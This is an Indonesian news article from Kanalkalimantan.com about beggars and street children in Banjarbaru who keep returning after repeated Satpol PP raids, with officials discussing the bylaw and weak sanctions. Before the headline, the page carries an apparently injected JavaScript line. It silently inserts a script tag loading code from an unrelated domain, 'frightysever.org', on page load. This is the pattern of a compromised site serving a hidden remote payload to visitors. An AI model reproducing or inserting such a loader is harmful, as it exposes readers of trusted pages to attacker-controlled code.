(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kucing-kucingan Pengemis vs Satpol PP di Ibu Kota, Dirazia Berulang Kali Mereka Tetap Kembali!


KANALKALIMANTAN.COM, BANJARBARU – Bukan pemandangan yang biasa, sejak awal Ramadan hingga saat Hari Raya Idulfitri, pengemis cerdik menjamur di Ibu Kota Provinsi Kalimantan Selatan, di Kota Banjarbaru.

Para penyandang masalah kesejahteraan sosial (PMKS) mendompleng saat bulan Ramadan, bahkan saat Lebaran usai pun masih saja ada. Seperti Jumat (12/4/2024) siang, mereka masih bergerilya untuk mengemis pemberian pengendara dan warga yang melintas saat Lebaran.

Kadang di setiap muara jalan Ahmad Yani menuju arah kawasan traffic light, terlebih di A Yani Km 33 Loktabat Selatan biasa dijadikan lokasi para pengemis menarik perhatian pengendara yang berhenti saat lampu pengatur lalu lintas menyala merah.

Baca juga: Lebaran Jum’at, Jemaah Islam Aboge Jalani Salat Id

PMKS yang memanfaatkan momen Lebaran di sejumlah titik di Kota Banjarbaru untuk meminta belas kasihan. Foto: wanda

Bahkan, trotoar jalan menuju bundaran Simpang Empat Banjarbaru seberang kampus Fakultas Kedokteran ULM juga kerap dipenuhi peminta yang hanya duduk berdiam diri menunggu uluran tangan pemberi yang lewat.

Kepala Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru, Hidayaturahman mengungkapkan, sejumlah titik di Kota Banjarbaru, yang banyak “dihiasi” pengemis sebagai penyandang masalah kesejahteraan sosial itu berkali-kali telah ditertibkan.

Namun, seakan tak berarti, baik pengemis maupun orang yang bahkan mengeksploitasi anak menjadi pekerja jalanan itu kembali berusaha mencari uang dengan cara meminta-minta kepada pengguna jalan.

Sebagian dari mereka bahkan sampai hafal jam-jam patroli Satpol PP Banjarbaru mencoba meloloskan diri. Usai selesai patroli berakhir itu pula, mereka kembali ke jalan dan kembali mengemis.

Baca juga: Wisata Susur Sungai Martapura Alternatif Berlibur di Dalam Kota Banjarmasin

Oleh kerena itu untuk menjemput PMKS yang menjamur, Kasatpol PP menyebutnya seperti kucing-kucingan.

“Karena kita dengan mereka (para pengemis) itu seperti main kucing-kucingan,” ujar Kasatpol PP Kota Banjarbaru, Hidayaturahman kepada Kanalkalimantan.com.

Parahnya lagi, kebanyakan mereka membawa anak-anak di dalam gendongan, sebagian lagi masih di bawah 10 tahun, ada juga yang dewasa, bahkan lanjut usia (lansia).

Fenomena ini, dijelaskannya, juga didukung dengan kebiasaan masyarakat pengendara atau kebetulan melintas gemar berbagi uang.

“Itu lah kembali kita pertanyakan peran orangtua dalam mendidik anak sampai bisa mengekspoitasi anaknya untuk bekerja di jalan,” ungkap dia.

Dia menaruh curiga, komplotan pengemis bertopeng menjual kemiskinan yang datang ke Banjarbaru ini hanyalah sebuah alibi belaka.

“Kami mengimbau agar masyarakat tidak memberi pengemis di pinggir jalan tersebut, kita tidak tahu kondisi asli mereka di jalan,” jelas lelaki yang akrab disapa Dayat itu.

Baca juga: Cegah Kerusakan Bahan Pustaka, Dua Perpustakaan Lakukan Fumigasi Selama Libur Lebaran 

Bisa saja, sambung Dayat, banyak pengemis yang sebetulnya sehat secara fisik dan bisa melakukan usaha lain di luar aktivitas mengemis. Tapi karena penyakit malas menjalani hidupnya, jadinya mengemis dijadikan profesi.

“Keadaan memprihatinkan yang diperlihatkan bisa jadi hanya dijadikan sebagai modus belaka,” sambung dia.

Dayat memastikan para pengemis yang datang meminta-minta bukan lah warga asli ber- KTP Kota Banjarbaru

Satpol PP Banjarbaru pun dibuat sibuk dengan situasi itu. Tak cukup patroli semata, untuk meminimalisir keberadaan PMKS ini, dirinya juga kerap menempatkan personilnya guna melakukan pemantauan.

“Intinya kita terus memantau keberadaan mereka di jalan, sembari kita tetap melaksnakan fungsi dan tugas di lapangan,” tegasnya.

PMKS alias pengemis jalanan ini masih menjadi pekerjaan rumah (PR) sepanjang tahun bagi Satpol PP Kota Banjarbaru.

Dikonfirmasi terpisah, Kasi Opsdal Satpol PP Banjarbaru, Yanto Hidayat mengatakan, fonemena ini bukan lah hal yang baru bagi Satpol PP, sebab setiap tahun PMKS salalu bermunculan, terlebih bulan Ramadan.

“Penertiban adalah kewenangan kami, namun kita ketahui sanksi PMKS hampir tidak ada, ada tapi kita tidak dapat memberikan hukuman yang lebih berat,” ujar Yanto Hidayat.

Dijelaskannya, pemberian sanksi yang bisa dilakukan petugas sesuai dengan aturan adalah melakukan pembinaan.

Mereka yang terjaring razia akan dikumpulkan, ditegur dan dikembalikan ke daerah tempat asal mereka

“Mereka kerap kita kumpulkan, kita kembalikan ke daerah asal mereka untuk kemudian kita arahkan mencari nafkah di daerahnya saja,” jelas dia.

Pengemis yang diberi label PMKS sudah terbukti melanggar Peraturan Daerah (Perda) Kota Banjarbaru Nomor 6 Tahun 2014 tentang Ketertiban Umum dan Ketentraman Masyarakat.

“Dengan mereka berkumpul dan meminta di pinggir jalan sudah dianggap melanggar Perda tersebut, dengan penindakannya berarah kepada pembinaan,” ungkapnya.

Dari fenomena ini dapat disimpulkan, jika masyarakat terus menerus memberi kepada pengemis tersebut, besar kemungkinan dapat menjadikanjya kebiasaan untuk mereka terus menerima dengan cara yang melanggar aturan tersebut.

“Dari memberi itu, akhirnya menjadikan kebiasaan bagi mereka untuk terus nongkrong atau berdiam di jalan raya dengan harapan pemberian dari masyarakat, lebih baik kita berikan yang berkah atas pemberian itu,” tuntas Yanto. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

6 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

8 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

9 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

10 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

13 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

14 jam ago

This website uses cookies.